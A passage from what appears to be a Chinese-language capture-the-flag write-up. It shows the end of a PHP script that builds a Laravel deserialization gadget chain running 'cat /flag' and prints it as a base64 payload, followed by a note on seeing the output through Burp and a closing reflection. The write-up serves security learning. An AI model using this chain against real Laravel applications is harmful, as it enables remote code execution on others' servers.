            $this->event = new BroadcastEvent();
            $this->event->connection = "cat /flag";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
 
namespace {
    $pop = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($pop));
}

小插曲:

刚开始一直出现这个页面,我以为 payload 有问题呢,后来才发现 call_user_func 已经执行过了,不过因为跳到异常里被覆盖了,用 burp 发的话应该就能直接看见了,hackbar 需要 f12 看一下 html

结语

round 1 就暂时告一段落了,这第一轮入门题就让我花了这么长时间,我何时才能成为 web 强者啊!!!